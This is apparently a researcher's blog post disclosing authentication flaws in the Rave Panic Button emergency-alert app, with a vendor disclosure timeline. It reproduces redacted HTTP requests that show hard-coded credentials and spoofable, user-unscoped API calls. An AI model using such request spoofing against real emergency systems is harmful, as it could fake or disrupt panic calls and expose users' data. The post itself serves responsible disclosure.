Rave Panic Button: Vulnerabilities in a Nationwide Emergency Alert System

A few months ago an article in the local news covering the launch of the Rave Panic Button caught my attention. I hadn’t heard of it before but the idea seemed interesting: efficiently coordinate emergency 9-1-1 notifications across multiple involved parties, i.e. emergency dispatch, on-site employees, and first responders. The system can also share important data about an affected location such as floor plans, emergency contacts, and even surveillance camera feeds.

Via Rave Mobile Safety

I wanted to learn more so I installed the app from the Play Store. Unfortunately, I immediately hit a roadblock:

Rave’s website explains that “facility administrators” must first be setup in the backend portal for each organization/institution. Then, those administrators can add additional employees to the system which grants them access to the app. Since it seemed unlikely that I’d get a legitimate account to login, I decided to reverse engineer the app itself to learn more about its underlying functionality.

As I reviewed the code, I began to realize the product had been designed without a fundamental concern for security — an extremely alarming concerning issue given the nature of the app and how easily attackers could abuse it.

The Code

I decompiled the APK and started searching the source for the API implementation:

/* Source screenshot removed at request of Rave Mobile Safety */

The PBApiManager class looked promising. Here’s an example method used to fetch an individual inbox message for the current user:

/* Source removed at request of Rave Mobile Safety */

I followed the GsonRequest class’s source and found its configuration. All network headers were being set using values from the ServerConfig class. Here is a portion of the relevant source:

/* Source removed at request of Rave Mobile Safety */

Note the static AUTHENTICATION_HEADERS field being assigned a Basic Authentication header scheme using hard-coded, plaintext credentials. While this didn’t automatically mean that all API requests were using them, I had a strong suspicion this was the case — especially since the above class included what seemed to be an exhaustive listing of all API endpoints.

In order to confirm this suspicion, I decided to proxy my phone’s traffic and attempt registering with the app using dummy phone values. The registration request looked like this:

POST https://smart911.com/corporateprofile/panicButton/v1/contact/register HTTP/1.1
Authorization: Basic ***REMOVED***
Content-Type: application/json; charset=utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Pixel XL Build/NDE63X)
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 222

{"carrier":"Verizon Wireless","confirmationCode":"1593","message":"test registration message","osType":"android","osVersion":"7.1","appId":"***REMOVED***","appVersionNumber":"1.6.2","phoneNumber":"1"}

Note the confirmationCode being generated by the client, meaning the confirmation process could easily be spoofed by attackers. Here’s the failed registration response:

HTTP/1.1 200 OK
Server: Apache
Set-Cookie: ***REMOVED***
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Content-Type: application/json;charset=UTF-8
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Length: 76

{"accepted":false,"errorMsg":"The phone number submitted, 1 was not found."}

The client vuln made it seem likely that other API requests were made without a proper authorization flow. I then switched to the DEV API (the API_HOST_DEV value from above), hoping it would have some demo/test data loaded — it turned out there was. Here’s what a successful registration response looked like:

HTTP/1.1 200 OK
Server: Apache/2.4.6 (CentOS)
Set-Cookie: ***REMOVED***
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Content-Type: application/json;charset=UTF-8
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Security-Policy: default-src 'self'; font-src 'self' data: *.gstatic.com; connect-src 'self' *.mapbox.com wss://smart911.rave411.com translate.googleapis.com; child-src 'self' *.youtube.com wss://smart911.rave411.com; style-src 'self' 'unsafe-inline' *.googleapis.com; img-src * data: *.mapbox.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.google.com *.google-analytics.com *.googleapis.com *.mapbox.com www.sc.pages05.net
Content-Length: 30

{"accepted":true,"schools":[]}

More importantly, I was able to confirm that other endpoint requests were being made with the hard-coded credentials above (no user-level authentication). Therefore, API requests could be spoofed on behalf of any user in the system. Here’s an example request to fetch the inbox messages for a given phone number:

GET https://smart911.rave411.com/corporateprofile/panicButton/v1/panicInboxMessages?phoneNumber=***REMOVED*** HTTP/1.1
Authorization: Basic ***REMOVED***
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1; Pixel XL Build/NDE63X)
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 0

And the returned results:

[{
	"id": "***REMOVED***",
	"phoneNumber": "***REMOVED***",
	"shortCode": "PIN Reset",
	"argsStr": "Choose your PIN now to enable the creation of fully customized Staff Assist messages.",
	"createTimestamp": 1473855514000,
	"isRead": "false",
	"lastUpdatedTime": 1473855514000,
	"deviceToken": "***REMOVED***",
	"messageType": "STAFF_ASSIST_PIN_RESET"
}]

Attack Risks

Not only were bad actors able to view/collect sensitive data about users/facilities, they would also be able to impersonate users and make requests on their behalf. For instance, an attacker would be able to spoof “panic calls” to legitimate facility locations; he could even interfere with real-life emergency panic calls. The risks could be even greater if the other components of the system are also poorly designed.

Disclosure

Initial contact with the VP of Engineering at Rave was responsive and productive. We discussed the above concerns on a call and he seemed to take them seriously.

2016-11-22 Initial report of vulns to Rave, discussed details on a call
2016-11-22 I follow-up, Rave informs me of plans for a short term and long term fix
2016-11-30 I notice a new app version available in Play and follow-up. Fixes were made but did not mitigate the concerns above. No response received.
2016-12-06 I follow-up again, no response
2016-12-09 I follow-up yet again, they’re working on new APIs
2016-12-12 Receive update from Rave, new version is ready and they’re testing
2016-12-30 I follow-up, Rave informs me app updates were released. Old APIs to be decommissioned in a week.
2017-01-04 I follow-up requesting access to test, responses trail off

While Rave has released updates to address the above issues, it remains highly concerning that the software was released in this condition at all. Since it’s probable that other components of the system have been designed with similarly insufficient security measures, I would recommend customers of Rave’s Panic Button immediately suspend its use.

Other Concerns

The initial article states that “[t]he program cost about $70,000 to build and code through Rave Facility.” That seems a bit pricey for an app built for numerous customers (at least 2,000 per this article). What exactly did the County pay for?

Further, how was the product launched to so many customers without even a cursory security review?

The risks are real and the consequences could be serious. It’s difficult to understand how a “public safety” app could be designed so irresponsibly that it effectively compromises the safety of the public.

Share this: Facebooktwitterlinkedin